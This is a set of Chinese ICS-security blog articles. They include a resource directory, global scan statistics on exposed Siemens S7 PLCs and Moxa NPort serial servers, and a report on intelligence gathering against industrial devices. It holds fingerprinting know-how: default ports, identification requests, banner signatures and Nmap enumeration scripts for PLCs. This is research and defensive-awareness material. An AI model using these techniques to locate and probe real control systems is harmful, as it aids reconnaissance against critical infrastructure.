起源于2002年,会议的主题面向能源、公用事业、化工、交通、制造业和其它产业和关键基础设施的组织,吸引了与工控安全相关的信息和自动化控制工程师,政府、供应商和学者,以及其它利益相关者。涵盖了所有的ICS网络与信息安全,包括保护SCADA系统、工厂控制系统、工程工作站、变电设备、可编程逻辑控制器(PLC),以及其他领域的控制系统设备,内容逐渐由历史安全事件分享,过滤到讨论解决方案和保护策略。
其背景后运营与支持组织SecurityWeek,还提供了最新的工控安全新闻和事件信息。最新活动:2016工业控制系统(ICS)网络安全会议将于10月24日- 27日在亚特兰大佐治亚理工学院酒店和会议中心。
论坛、新闻
4SICS 2016 4sics是国际上最大的安全峰会之一,每年举办一次,聚焦在最重要的关键基础设施领域ICS/ SCADA(即能源、油气、水、交通、智能电网等)网络安全利益相关者。

最新活动:4sics–SCADA系统和工业控制系统网络安全国际峰会,2016年10月,瑞典斯德哥尔摩

漏洞、网络安全SCADA / ICS的保护、关键基础设施
PHDays 由信息安全社区PHDays举办的信息安全技术大会,不同于普通展览,而是通过协作和竞赛的方式,吸引大量国际黑客、学生和年轻的科学家、政府代表、首席信息官和大型国际公司等等。去年有超过2000人参会,主题包括iOS和Android智能手机的漏洞,电子政务网站对抗攻击,SCADA和ERP防护等等。“我们需要彼此来让世界更加安全”。

最新活动:2016年5月17~18日

工控及信息安全事件和技术
Infracritical

 

Infracritical成立于2001年,以安全、合规管理、教育/培训、信息共享和提升意识为主,团队努力为国家基础设施的私人和公共部门提供有价值的信息,业务扩展到了加拿大和墨西哥。 相关安全事件、论坛
TRIPWIRE, INC. 该组织主要服务于企业和政府机构,提供端点检测和事件响应、安全、操作合规性和IT综合服务及解决方案提供商。工控安全作为研究的内容之一,以博客形式发表对新闻事件的观点和看法。

三、媒体与刊物

名称 简介
ISS Source Industrial Safety and Security Source (isssource.com)提供功能安全、网络安全和物理安全的安全新闻、产品、特性、应用和发展趋势的WEB门户,由从事超过30年制造业自动化经验及10年主编工作的Gregory Hale创办,主要围绕安全的一站式网络资源信息的服务商,栏目包括在制造业自动化市场所发生安全问题的新闻、事件、调查、分析报告、博客和意见。
SC Magazine SC Magazine为从事信息安全的专业人士提供深入、公正的业务和技术信息,从而解决面对和建立风险管理、制订规则和支撑经营战略时遇到的安全挑战。
Infosecurity Magazine Infosecurity杂志有提供超过十年的信息安全行业的知识和见解经验,拥有多个获奖编辑。其专为工业SCADA开辟的专栏,定期推送工控安全新闻事件。
CSO Online 来自IDG的组织,广泛地提供有关安全与风险管理的新闻、论点和话题。重点领域包括信息安全、物理安全、业务连续性、身份和访问管理、风险分析和更多。工控安全话题作为其关键基础设施的研究部分,开辟了独立栏目分页,可以从这里获取最新的新闻资讯和事件。
Homeland Security Today (HSToday) 隶属于美国KMD传媒,成立于2004年,每月发行一本,2015年被Ohio-based investment firm, Five T Ventures LLC.收购。以准确的、值得信赖的、可靠的国土安全新闻、调查、分析、环境和视角,为与国土安全相关的政府官员和制造业的管理人员提供决策支持及技术创新。
Homeland Security News Wire 国土安全新闻网是美国国土安全行业最大的在线新闻出版物,发布的最新、最重要的新闻和报道具有很高的权威性。作为一个重要的工具,为管理人员,关键决策者和高级政策专家做出相关的决策支持。
美国国土安全新闻网在快速移动的国土安全领域,将政府、企业、金融、科技等结合在一起。涉及网络安全的内容并不限于工控安全。

四、政府类

名称 简介 网址
DHS(美国国土安全部) The Department of Homeland Security has a vital mission: to secure the nation from the many threats we face. This requires the dedication of more than 240,000 employees in jobs that range from aviation and border security to emergency response, from cybersecurity analyst to chemical facility inspector. Our duties are wide-ranging, and our goal is clear – keeping America safe. https://www.dhs.gov/about-dhs
ANSSI(法国) Agence Nationale de la sécurité des systems d’information. ANSSI core missions are to detect and early react to cyber attacks, prevent threats, advice governmental entities and operators of critical infrastructure and inform industry and general public about security threats and protective measures. http://www.ssi.gouv.fr/en/
APCERT(亚太) APCERT (Asia Pacific Computer Emergency Response Team) is a coalition of CERTs and CSIRTs (Computer Security Incident Response Teams), from 13 economies across the Asia Pacific region to ensure internet security in the Asia Pacific region. http://www.apcert.org/
BSI(德国) Federal Office for Information Security, Germany. BSI’s goal is to promote IT security in Germany. It is the first and foremost central IT security service provider for the federal government in Germany. http://www.bsi.bund.de
CERT Australia(澳大利亚) CERT Australia is the national computer emergency response team, working with major Australian businesses, providing cyber security advice and support to critical infrastructure and other systems of national interest. http://www.cert.gov.au
CERT-In(印度) The Indian Computer Emergency Response Team (CERT-In), under the Department of Information Technology of Ministry of Communications and Information Technology, works to enhance the security of India’s communications and information infrastructure through proactive action and effective collaboration. http://deity.gov.in/content/icert
CPNI(英国) Centre for the Protection of National Infrastructure. CPNI protects UK national security by providing protective security advice. Their advice covers physical security, personnel security and cyber security/ information assurance. http://www.cpni.gov.uk
ENISA(欧洲) European Union Agency for Network and Information Security. It is the ‘pace-setter’ for Information Security in Europe, and a centre of expertise. http://www.enisa.europa.eu
ICS-CERT(美国) The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) operates within the National Cybersecurity and Integration Center (NCCIC), a division of the Department of Homeland Security’s Office of Cybersecurity and Communications (DHS CS&C). NCCIC/ICS-CERT is a key component of the DHS Strategy for Securing Control Systems. https://ics-cert.us-cert.gov/

五、认证与标准

  • 德国莱茵认证(TÜV南德)

成立于1866年,总部位于德国慕尼黑,是世界领先的技术服务公司。核心理念:“权威认证,创享价值”,通过服务的方式与客户在早期的咨询上进行合作,并且提供后期指导,从而获得持续性的进步。与国内常见以检测业务为核心的认证模式,形成鲜明对比。
工业信息安全被划定为嵌入式系统业务范围,以IEC-62443为基础,提供工业信息技术安全检查、渗透测试、风险分析、安全手册和安全培训服务。通过对设备和工艺的分析,评估脆弱性和风险,并测试系统安全性。TÜV南德意志集团致力于建立永久性的强劲、有免疫能力的系统。
网址:http://www.tuv-sud.cn/cn-scn/activity/focus-topics/embedded-systems/gong-ye-xin-xi-ji-zhu-an-quan
资源:认证、检测

  • ISASecure

ISA(国际自动化学会)安全规范协会(ISCI)作为ISA自动化标准研究院的组成部分,继承和共享了ISA的开放式结构,以及广泛的人员配备、财务和行政基础,指导ISASecure组织开展认证规范、教育和技术含量多样化合作。针对工业控制系统和解决方案,建立、发布IEC 62443标准,提供一致性认证,保护自动化控制系统。该标准分为四个部分,覆盖了资产所有者、系统集成商、组件(包含软硬件和信息系统)供应商。国际大型控制系统和设备供应商均有产品通过了该 认证,如施耐德、霍尼韦尔和横河等。
网址:http://www.isasecure.org/en-US/
资源:标准认证

  • NIST

美国国家标准与技术研究院(NIST)隶属于美国商务部,在2001年春天,由一组相关专业人士聚集在过程控制安全要求论坛(Process Control Security Requirements Forum,PCSRF),在2006年第一次发行标题为SP800-82《工业控制系统(ICS)安全指南》,并与ISA(ISA在2002年秋天形成了制造业和控制系统安全委员会,这最终演变成ISA-99委员会)并行工作。2015年6月进行第二次修订。
虽然NIST SP并不作为正式法定标准,但在实际工作中,已经成为美国和国际安全界得到广泛认可的事实标准和权威指南。
网址:http://www.nist.gov/
资源:标准

六、厂商与研究机构

名称 简介 资源
Langner Group Langner Group是一个专业从事针对重要的工业基础设施和大规模生产网络防御咨询的独立机构。联合创始人Ralph Langner曾在2011年编写过一本书《Robust Control System Networks: How To Achieve Reliable Control After Stuxnet》,后被国内翻译为中文。 工控安全事件(博客)及服务
Digital Bond Digital Bond was founded in 1998 and performed our first control system security assessment in the year 2000. Over the last sixteen years we have helped many asset owners and vendors improve the security and reliability of their ICS, and our S4 events are an opportunity for technical experts and thought leaders to connect and move the ICS community forward. 技术、资讯、论坛
SCADAStrangeLove 一家来自于俄罗斯的信息安全研究团队,专注于ICS/ SCADA安全性,致力于让人类避免工业灾难的发生,使其保持安全。该团队活跃于全球各大工控安全线下论坛,开发了工控扫描工具PLCSCAN,并开源。 技术资料和新闻事件
SCADACS SCADACS组织是一个来自于柏林自由大学(AGSI)的安全身份研究小组 ,由Volker Roth.教授带领。 它包含了研究助理和AGSI的一些学生和学生志愿者,也包括一些安全咨询公司的兼职员工。
主要研究针对采集与监控的攻防技术,以及防护机制为物理网络安全提供架构设计。
新闻事件、培训和技术
SANS SANS协会成立于1989年,是一个研究和教育机构。核心成员来自许多不同的全球性组织和公司的安全从业者,以及大学院所共同合作。SANS是迄今为止迄今为止最值得信赖的信息安全培训和安全认证。该公司还开发、维护、并免费提供关于信息安全的工具集系统,用于互联网早期预警。
SANS创办了关于ICS的培训课程和认证,通过业界领袖和专家力量加强工业控制系统(ICS)的网络安全,从而提升设备安全专家及控制系统工程师的安全意识,以及具体的工作知识和动手技能,包括用于保护自动化和控制系统的技术。
培训和认证
FireEye FireEye是一家美国著名的、为企业提供安全防护产品的公司,成立于2004年。2012年IPO,市值超过10亿。FireEye现任CEO Dave DeWalt曾是McAfee的CEO,同时也曾是Mandiant的董事会成员。而Mandiant的创始人Kevin Mandia将加入FireEye,担任该公司的COO。Mandiant是一家安全公司,同样成立于2004年。提供的安全服务及产品包括终结点威胁侦测、响应与补救,威胁智能分析,事件响应及安全咨询服务等。财富100强企业中有33%是它的客户。但它最近的出名是因为去年发表了一份关于中国的黑客攻击报告(APT1: Exposing One of China’ s Cyber Espionage Units)。
Mandiant公司在工业控制系统(ICS)推出了健康检查服务,他们的专家利用捕捉到的威胁行为、安全漏洞和ICS领域知识,为用户提供ICS安全评估计划和体系结构设计,如边界分区,保护和监控等。
咨询服务与工业防火墙

七、书籍类

序号 名称 作者 出版信息
1 《Robust Control System Networks: How To Achieve Reliable Control After Stuxnet》 Ralph Langner Published by Momentum Press, 2011, 198-pages
2 《Cybersecurity for Industrial Control Systems》 Tyson McCauley and Bryan Singer Published by Auerbach Publications, 203 Pages
3 《Industrial Network Security》 Dave Teumim Syngress; 2 (2014.12.29)
4 《Protecting Industrial Control Systems From Electronic Threats》 Joseph Weiss Published by Momentum Press, 2010, 310 Pages
5 《TechnoSecurity’s Guide To Securing SCADA》 Jack Wiles et al. Published by Syngress, 2008, 352-pages
6 《Cybersecurity for SCADA Systems》 William Shaw Published by Pennwell Corp, 2006, 299 pages
7 《Securing SCADA Systems》 Ronald Krutz Published by Wiley Press, 2005, 218 pages
8 《Securing the Smart Grid》 Tony Flick and Justin Morehouse Published by Syngress, 2010, 320 pages
9 《Optimized Robust Adaptive Networks in Supervisory Control and Data Acquisition Systems》 Luis A Oquendo Class
10 《Handbook of SCADA/Control Systems, Second Edition 2nd Edition》 Robert Radvanovsky (Editor), Jacob Brodsky (Editor)

结语:相信负责任的知识传承和分享,能够降低科技成果的利用成本,提高使用率。———《灯塔实验室》

对西门子PLC CPU运行状态的一次全球监测统计

$
0
0

本文由灯塔实验室原创,转载请注明出处。

关于西门子PLC的CPU运行状态

我们曾在上周的文章中提到过,根据部署的工控协议仿真蜜罐的数据显示,暴露在公网的PLC可能会受到来自互联网的恶意控制,并列举了在公网的西门子S7系列PLC,10%的PLC CPU在不同时间点被设置到停止模式的事件记录(我们通过读取PLC缓冲区事件所得出的结论)。当然我们目前无法准确确定这些曾经针对CPU状态操作是否为来自互联网攻击者的恶意操作行为所致,亦或是用户的正常的调试所致。但是我们还是想强调无安全防护存在问题的严重性。我们可以再看一下西门子PLC对CPU运行状态的定义:

RUN模式

在RUN状态下,处理用户程序并周期性地更新过程映像。此外,还将启用所有数字输出。

STOP模式

下列事件会将CPU置于STOP状态:
*将模式选择器移动到STOP位置
*CPU
*编程设备
将所有模块切换到安全状态。
在S7中:在STOP模式下不处理用户程序。但某些编程功能和操作员界面功能可用。
在M7中:在STOP模式下仍可处理用户程序。
我们都知道自动化控制流程是一个连续稳定且持续的过程,而我们之前得到的这个比率则显示出了较高的“故障率”(“停机率”)。

如何读取西门子PLC CPU状态

在西门子PLC中具有一个系统状态列表,英文的官方描述为System Status List,德文为SystemZustandsListe,简称使用的德文的缩写即SZL,在系统状态列表中PLC的不同状态属性被定义了一个SZL-ID,如我们识别PLC型号模块时使用的0x0011(Module identification),如读取PLC CPU的当前运行状态可以使用0x0424(Processed operating mode transition),而这些我们可以在西门子官网找到对应的资料。

我们的全球的监测结果

日前我们再次通过两个节点(icsresearch2.plcscan.org, icsresearch3.plcscan.org)对全球的TCP/102端口S7服务进行了深度探测,探测结果发现共计1879套西门子各系列PLC:S7-300(所有货号为:6ES7-3**-*****-****),S7-400(所有货号为:6ES7-4**-*****-****),S7-1200/S7-200(所有货号为:6ES7-2**-*****-****),S7-1500(所有货号为:6ES7-5**-*****-****),WinAC(所有货号为:6ES7-6**-*****-****),ET-200(所有货号为:6ES7-1**-*****-****)。而我们根据远程读取的SZL的0x0424属性结果显示,当时2套PLC的CPU即时运行状态是STOP模式。根据我们之前收集到的恶意操作日志,操作者并不会主动对CPU进行启动,同时根据对CPU缓冲区事件的分析,再次切换到RUN状态的时间在大多数情况下并不是较短时间之内完成的。

我们的一些测试结果

为了让大家直观了解到暴露在公网的西门子PLC都是为什么业务提供服务的,以及PLC被恶意控制和操作后的严重后果,我们特意分析了部分直接可以看到的真实部署环境,如下图:

s7plc_verify1 s7plc_verify2 s7plc_verify4 s7plc_verify3 s7plc_verify5 s7plc_verify6 s7plc_verify15 s7plc_verify14 s7plc_verify13 s7plc_verify12 s7plc_verify11 s7plc_verify10 s7plc_verify9 s7plc_verify8 s7plc_verify7


工控安全与国家安全

$
0
0

一部灵感来自于“震网Stuxnet”病毒事件的电影《骇客交锋》(原名“黑帽 Blackhat”),引发了人们对基础设施攻击的无限想象。电影由王力宏和汤唯主演,邀请了专业人士作为顾问,其中包括明星黑客Kevin Poulsen。他常使用马甲“Dark Dante(黑暗但丁)”作案,被称为史上五大著名黑客之一,后来从良为Wired News杂志工作,还出版了一本书。谷歌的工程主管,被称为“信息安全公主”的帕里萨·塔布瑞兹评价该片是她所见过的“最为准确的有关信息安全的电影”。

blackhat_movie
与高昂的投资相比,这部电影的票房并不好。故事情节不够紧凑,被定义为了烂片,可这毕竟是首部以工业基础设施与信息安全对抗为题材的商业电影。如果你是一名工业控制系统从业者,对电影中的PLC一定再熟悉不过了。而且,电影中模拟攻击的目标—恰恰是我国的核电站!!!

如果我们还继续认为工业控制系统网络是安全的,那我们看看利用(软硬件特征识别、工控蜜罐)技术,能够在互联网上发现什么:

一、可远程访问和控制的实时SCADA
燃气监控:

scadahacking1

水厂监控:

scadahacking2

二、可远程访问和控制的PLC

omron_plc_exposed

plchacking2

三、遍布互联网的工控资产

ics_s7_map

四、日渐增多的针对工控专有协议的探测(蜜罐监测数据统计

icshonemap
结合以上各种现实情况,我们可以尝试着从中得到以下结论:
1)、从国家的角度,一切以基础设施为目标的攻击,均可视为“敌意”行为;
2)、蓄意的破坏还没有形成规模化、产业化,但大范围的、具有强烈兴趣的试探性“攻击”频率正在呈上升趋势;
3)、核心控制系统不被直接联网,并不意味着控制网络的安全,因为多数的无人值守站均可作为入侵的节点。

二、国内自动化行业形势

“两化融合”的发展和现状

回顾2011年4月6日工信部印发《关于加快推进信息化与工业化深度融合的若干意见》(工信部联信〔2011〕160号):“到2015年,信息化与工业化深度融合取得重大突破,信息技术在企业生产经营和管理的主要领域、主要环节得到充分有效应用,信息技术集成应用水平成为领军企业核心竞争优势支撑“两化”深度融合的信息产业创新发展能力和服务水平明显提高,应用成本显著下降,信息化成为新型工业化的重要特征。”

现如今,传统自动化行业亟待变革,随着工业4.0、智能制造、工业互联网这些概念的蓄势待发,工控安全也正处于变革的十字路口。工控网发布的文章《正在消失的自动化行业》(2016-04-05)中指出,“自动化并不是消失了,而是更为广泛了”。自动化行业很难有高速成长性,因为自动化行业首先规模并不大,总体也就在1500亿不到,而且包含了大量的细分市场。毕竟每年不到15%的增长也没有多少讲故事的空间,再说利润,一直觉得自动化是个高科技行业,但是,与移动互联、IT相比,行业的盈利也决定了收入并不丰厚,大部分业内人士都觉得仅仅过得尚可而已。

智能化可能更为符合未来的发展描述,自动化只是智能的一部分,而智能涵盖了但却不仅只有自动化,而包括感知、分析、思考、判断、决策者系列与智能相关,也包括呈现(如VR技术)、反馈等,这些前端与后端构成了智能化的部分。
自动化只是其中的智能执行环节,当然,你也可以说,自动化使其变得更为智能。例如Web技术不能满足自动化的实时性要求,在传统意义上这是有一定的道理的,但是,在新的时代,我想Web技术的开放性与低廉成本还是吸引着很多企业,例如:HMI就可以采用Web技术来实现,这对于SCADA的开发而言,就是极大的便利。
当然,Web技术可以不仅仅用于纯粹只是为了HMI类的应用,如果可以的话,我们可以在全世界都可以访问你想访问的设备,安全是必须的。

国内的经济形势

另外一个与工控安全难以落实的重要因素,不得不提的是国内能源领域产能过剩,导致的经济发展缓慢的现实。当然,受影响的不只在国内,而是全球。
《控制网》整理的一篇文章《一份财报引发的xue案》(2016.2.19)中提到:

施耐德电气2015财年财报显示法国施耐德电气宣布,受中国经济放缓及美国削减石油和天然气行业投资的影响,其2015财年净利润降幅超出预期。该公司将其较弱的盈利能力归因于中国疲软的工业以及油价崩溃后美国削减石油和天然气工业投资。其2015财年的财报反映了工业集团缩减西欧市场而扩大中国和北美风险敞口的策略所带来的限制。
Emerson公司宣布,由于2015财年大部分时间经济持续低迷状况不景, 2015年公司净销售额下降9%。油价下跌、全球工业资本支出放缓、新兴市场的需求疲软和美元升值等重大阻力对公司的销售额造成了负面影响。由于中国的疲弱需求充分抵消了印度和澳大利亚的强劲增长,因此亚洲的基本需求下降了5%。
ABB在充满挑战的市场中实现盈利增长。2015年订单额与上一年持平(按美元计算下降12%)。大额订单(超过1,500万美元)增长10%(按美元计算下降5%),抵消了基础订单3%的下滑(按美元计算下滑14%)。销售收入与2014年持平(按美元计算下降11%),因为电力系统业务和电力产品业务的收入增长抵消了离散自动化与运动控制业务以及过程自动化业务的收入下滑。来自服务业务的销售收入增长6%(按美元计算下降8%),其在ABB销售收入总额的占比上升1个百分点。在当前宏观经济的持续不确定性和全球诸多市场挑战的环境中,ABB三大主要市场领域的需求持续低迷。电力客户虽然保持审慎,但仍继续在提升电网效率和可靠性方面进行选择性投资。

以数据深刻的说明了能源行业的不给力,而工控系统大多被应用于能源行业的基础设备控制中。试问这些生产企业连盈利问题还没有得到解决的前提下,管理者又有多大决心,去解决安全问题呢?

三、国家(队)的责任:

美国NSA的“七招”不是万能解药,与美国相比,受国内体制、信息化与自动化发展的阶段、标准与技术的原创性等种种因素的影响,存在着明显的区别。因此,我们建议国内工控安全采取更直接、更有效的策略来控制工控安全风险。

•“兵者,国之大事,死生之地,存亡之道,不可不察也”。伴随着消费者移动化、物联网等新趋势,工控威胁和潜在攻击一方面通过多样化的攻击手段、专业的工具、有组织地获取利益,另一方面则表现在国家战略布局上。此外,攻击者可以方便的在工控系统中调动大规模资源,攻击的速度更快、破坏性更强。而防守方仅凭传统的防守方案已经无法阻挡攻击,威胁、情报、检测、防护、态势感知都是新的防守技术,而更加智能化的安全模式也是应对威胁的新举措。实时监测开放在互联网上的工控设备,以及分析和监督在互联网上以工控设备为目标的扫描、探测、渗透等行为。
•从国家层面,加大对技术研发、标准制订和资料收集等方面的投入,强化对最终工控现场及重点基础设施安全加固的建设投资。对于目前缺少标准、缺少市场实践的背景下,用户需求并不明确,多数信息安全产品(包括工控安全产品)虽然被设计到现场,可实际真正运行、并且能够起到防护作用的少之甚少。主要原因之一是产品的设计只是应对政策的一厢情愿。而工控行业的维护人员,更加关注稳定性和可维护性。因此,对于政策层面需要引导市场将关注的焦点回到基础设施本身,重视企业负责人的安全意识培养,规范市场、强化产品准入,把市场的还给市场。
•工控安全防护手册。工业控制系统(ICS)的制造商已经意识到在工业环境中不断增长的IT安全威胁。为了应对威胁和风险,他们在系统中实施安全机制。然而,只要运营商和系统集成商未能积极参与,所有的达到整个系统的安全性的努力都仍不能发挥最大作用。因此,工控系统的使用者迫切的需要在一定能力指导下,制订符合自身行业特性的管理方法。基础生产设施的控制系统是由许多单个的系统组成,因此其强大与安全取决于最薄弱的环节。运营商和集成商必须了解工业控制系统的制造商实施的安全机制,与他们的行业需求保持一致,并在整个系统中采纳和应用这些安全机制。支持用户开发符合ICS制造商和运营商或集成商的定制需求的信息技术安全手册,分析并派生出切实可行的安全措施,以适合确保生产工厂的ICS安全运行,并最终设计和开发出信息技术安全手册。
•保护目标手段的多样性。工控安全问题,完全可能演变为恐怖主义的利用手段。除了前面说到政策层面应该是监督和指导,进一步讨论,规范信息、事件的收集渠道和通报方法,建设必要的“假目标”,吸引和分析攻击来源,缓解工控系统被直接攻击的压力。“三军之众,可使毕受敌而无败者,奇正是也”。操作方法上,还需要深入的“军民融合”、“政企联合”,对于工控安全,我们相信:高手在民间。

伴随着市场的逐步成熟,无论工业自动化巨头、传统安全龙头,还是新兴专业安全厂商都在积极布局,以完善自身的技术、市场和产品。
最后,还是以开篇的电影作为结束,国内的工控安全市场,无论是政策、投融资、论坛等等,前期宣传投入已经不小,但还没到迎接首映的程度,希望最终能够获得好票房!

本文由灯塔实验室原创,转载请注明出处。

Moxa Nport串口服务器漏洞全球统计报告(Moxa Nport Vulnerability Global Census Report)

$
0
0

ICS-ALERT-16-099-01

ICS-CERT在4月8日发布了ICS-ALERT-16-099-01,报告中指出了
Moxa NPort model 6110, firmware Version 1.13,
Moxa NPort model 5110, firmware Version 2.5,
Moxa NPort models 5130 and 5150, firmware Version 3.5, and
Moxa NPort models 6150, 6250, 6450, 6610, and 6650, with firmware Version 1.13.
如上版本的存在以下安全漏洞:
1、 未经验证的检索敏感账户信息
2、 未经身份验证的远程固件更新
3、 缓冲区溢出
4、 XSS
5、 CSRF
这些问题由Digitalbond LabsBasecamp for Serial Converters研究项目中被发现,同时在今年3月15日Rapid7的博客中也提到了Moxa Nport空凭据的问题,并且发现超过2200个设备通过互联网访问,其中46%没有密码保护。

什么是串口服务器?

串口服务器是一种具有串口转以太网功能的设备,他能将RS-232/485/422串口转换成TCP/IP网络接口,串口服务器可以通过client和server模式来实现数据的传输,串口服务器广泛的应用在SCADA数据采集环节上,用于解决串口和以太网的通信问题。Nport是Moxa的一个串口服务器系列,应用在国内和全球应用都很广泛。
nport

Moxa Nport全网分布情况

我们使用了一种Nport的UDP协议对Moxa Nport系列的设备进行了全网的扫描,针对Moxa Nport全网的扫描统计我们扫描器首次扫描时间在2015年的4月中旬,来自我们节点的最新全网数据显示,有8900多个Nport不同型号的设备连接到公网。根据国家的分布情况,其中接入互联网使用Nport最多的国家为俄罗斯,然后就是Moxa总部所在的台湾。如下是Nport串口服务器接入最多的国家排行TOP30。
moxa-nport-census-2016-04-09

Russia 2135
Taiwan 1249
Serbia 742
United States of America 685
Poland 541
Brazil 381
Italy 241
Denmark 229
Spain 226
Czech Republic 162
France 150
Netherlands 140
United Kingdom 129
Finland 119
Canada 116
Switzerland 94
China 91
Turkey 90
Sweden 85
Portugal 74
Belgium 73
Romania 69
Slovakia 67
Norway 66
South Korea 65
Australia 63
Japan 63
Germany 61
Croatia 56
Estonia 51

Moxa Nport在全网出现了那些型号?

我们对最新扫描到数据的设备信息字段进行数据统计,整理了接入互联网的Nport各型号排行TOP30情况。

NP5110 1637
OnCell 1376
NP6150 863
NE-4100T 633
NP5130 275
NE-4110S 230
NP5150 295
NP5210 226
5232-N 162
MG-MB3270 126
NP5110A 106
MiiNePort 91
NP5230 81
NP5150A 69
NP5410 68
NP5232 66
W5340 55
NP5210A 48
NE-4110A 41
MG-MB3180 38
NE4110S 35
NP5250A 34
HC4120 25
NP6250 23
NP5450 19
NP5130A 19
NP6450 17
VzW 17
W5312 16
E2210 15

60%的没有设置密码保护

我们的扫描规则具备检查Nport设备是否设置密码的功能,在读取到设备状态的5627条数据中我们发现高达3383条数据没有设置密码保护口令,空口令的比率高达了60%。

会导致什么问题?

Nport在没有配置口令的情况下就意味着任何人可以监视设备和更改Nport的所有设置,攻击者可能使用上传未经验证的固件导致设备宕机。

怎么解决这个问题?

Digitalbond Labs建议能访问设备的UDP/4800, TCP/4900, TCP/80, TCP/443, TCP/23, TCP/22,UDP/161端口的来源是可信任的。

我们提供的检测脚本

我们实验室已经发布了一个基于NMAP枚举Moxa Nport串口服务器的通用脚本。该脚本可以枚举Moxa Nport的设备型号,并读取当前Nport是否设置了密码。

我们本次提供了极少用于概念验证的IP数据,这些数据来自我们的全网扫描统计,同时也用于说明用户在使用Nport时普遍不设置密码的情况。脚本和验证数据样本可以到这里下载:
https://github.com/Z-0ne/MoxaNportScan

本文由灯塔实验室原创,转载请注明出处。

针对网络空间关键基础设施情报收集的组织行为分析报告

$
0
0

本研究报告由灯塔实验室原创,转载请注明出处。

点击下载本报告的PDF版本 【PDF下载

一、背景

随着Shodan类网络空间搜索引擎的出现,基于主动探测的工控安全态势感知技术倍受研究者追捧。Shodan搜索引擎7*24小时在网络空间搜索爬取互联网外部端口数据,并且根据扫描结果实时更新数据库,这其中不乏针对工控协议的探测。ZMap、MASSCAN等基于异步无状态扫描工具的出现,使得快速探测整个IPV4空间变成可能,加上基于工控设备通信协议的识别探测,则可以迅速在网络空间中定位工控系统。

网络空间中的工控系统作为真正的关键基础设施是重要的战略和情报资源,而根据灯塔实验室的数据统计,自2014年以来,针对工控设备软硬件的扫描与探测的类型和次数有逐年增多的趋势。

本报告则主要介绍了目前专注于网络空间中工控关键基础设施情报搜集的国内外组织,通过我们长期跟踪部分组织的扫描引擎动作行为,对其关注的工控资产类型和历史动作行为进行了分析。

二、情报收集的通用原理与技术

2.1 通用原理介绍

在传统网络中一般情况下需要鉴定一些服务、系统,往往可以通过端口扫描的方式来完成,比如检查一些知名端口的开放情况。通过端口开放的情况能大概了解目标系统运行了那些服务以及操作系统类型。具体要验证一些服务则可以使用对应的协议,去交互请求对应的内容。而在传统网络中大量的协议都是标准并公开的。

在工控系统这个情况则不一样,工控的设备、软件的数据传输广泛的使用了行业专有与私有通信协议,如Modbus、IEC101/104、DNP3等通用工控协议,当然也存在大量的私有协议。我们曾经在“使用Wireshark分析工控协议”中总结过工控网络中协议的几种类型,即标准协议,私有公开,私有不公开情况三种。

总体来说探测并定位工控软硬件可以使用其支持的协议来完成精确识别或模糊匹配,具体可以通过如下几种方式。

  • 利用标准且公开的工控协议对工控系统进行定位

在一些标准的协议规范中如Modbus、OPCUA、EtherNet/IP等协议中,通常约定了固定的Function code读取应用及模块信息,这样我们便可以准确识别目标设备的厂商信息或产品信息,而不支持读取设备、应用信息的协议也可以确认目标开放并运行了工控相关的协议,如下列举了几种常见标准协议识别设备、应用的方式。

协议名 默认端口 请求功能 响应内容
MMS 102 请求厂商和模块信息 厂商和模块信息
Modbus 502 43功能码 设备厂商和产品模块信息
IEC104 2404 启动连接 启动确认
DNP3 20000 请求链路状态 连接确认
OPCUA 4840 查找服务器请求 应用名称信息
EtherNet/IP 44818 枚举设备信息 制造厂商、模块信息、串号等信息
BACnet 47808 枚举设备信息 制造厂商、模块信息等信息
  • 利用私有协议精确识别设备

私有协议一般用于对软硬件进行远程管理,数据传输,私有协议具有唯一性,通过私有协议可以准确的识别一个厂商及系列的设备类型,私有协议中特定的功能往往可以直接读取到设备的模块信息。如下是知名的几个工控厂商所使用的私有协议与识别设备信息的方式。

协议名 默认端口 请求功能 响应内容
Siemens S7 102 读SZL PLC的模块信息、版本、串号等
Codesys 1200 读系统信息 系统信息
Mitsubishi MELSEC 5007 读CPU信息 PLC的模块信息
Omron FINS 9600 读CPU单元信息 PLC的模块信息
GE SRTP 18245 读CPU单元信息 PLC的模块信息
  • 利用传统服务特征对软硬件进行设备识别

另外工控的设备常常会开放一些传统服务,如Web,SNMP等服务,用于监视设备的运行状态或管理设备。如下为一些设备不同服务上的特征标识,这些标识可以用于识别设备。

厂商 设备 服务(端口) 特征
Siemens S7 1200 HTTP(80) Location: /Default.mwsl
SNMP(161) Siemens, SIMATIC S7, CPU-1200
S7 300 HTTP(80) Location: /Portal0000.htm
SNMP(161) Siemens, SIMATIC NET
Hollysys LK Series FTP(21) Welcome to LK FTP services.
Mitsubishi Q Series FTP(21) QnUDE(H)CPU FTP server ready.
Moxa NPort HTTP(80) Server: MoxaHttp

更多可以参考,ICS搜索Dork

2.2 工具与技术介绍

Redpoint是由Digitalbond于2014年3月创建的ICS枚举工具,Redpoint是一个基于Nmap NSE的脚本库,用户在使用Nmap扫描时可以选择如下脚本可获得枚举ICS设备的能力。

插件名称 端口 概述
BACnet-discover-enumerate.nse 47808 识别和枚举BACnet设备
atg-info.nse 10001 读取液位仪状态信息
codesys-v2-discover.nse 1200 识别和枚举Codesys v2控制器
cspv4-info.nse 2222 识别PLC5/SLC 500控制器
dnp3-info.nse 20000 识别DNP3协议
enip-enumerate.nse 44818 识别和枚举EtherNet/IP协议设备
fox-info.nse 1911 识别Niagara Fox软件
modicon-info.nse 502 枚举施耐德PLC信息
omrontcp-info.nse 9600 识别和枚举欧姆龙PLC信息
omronudp-info.nse 9600 识别和枚举欧姆龙PLC信息
pcworx-info.nse 1962 识别和枚举菲尼克斯PLC信息
proconos-info.nse 20547 识别和枚举使用Proconos的控制器
s7-enumerate.nse 102 识别和枚举西门子S7PLC信息

 

另外除了Redpoint发布的上述脚本之外,还有如下一些针对ICS的枚举和识别脚本,我们也在之前发布过三菱Q系列PLC、Moxa串口服务器识别与枚举脚本。

插件名称 端口
mms-identify.nse 102 识别和枚举支持IEC61850协议的设备信息
modbus-discover.nse 502 识别和枚举Modbus设备信息
cr3-fingerprint.nse 789 识别和枚举红狮控制器信息
moxa-enum.nse 4800 识别和枚举MoxaNPort设备信息
melsec-discover.nse 5007 识别和枚举三菱Q系列PLC信息
melsecq-discover-udp.nse 5006 识别和枚举三菱Q系列PLC信息

纵观目前互联网上针对工控的诸多扫描探测都是基于如上NSE插件原理,进行此类研究的组织会在下面进行介绍。

三、关注ICS情报的组织介绍

3.1 国内组织介绍

  • 信息安全企业

1) ZoomEye(开放式)

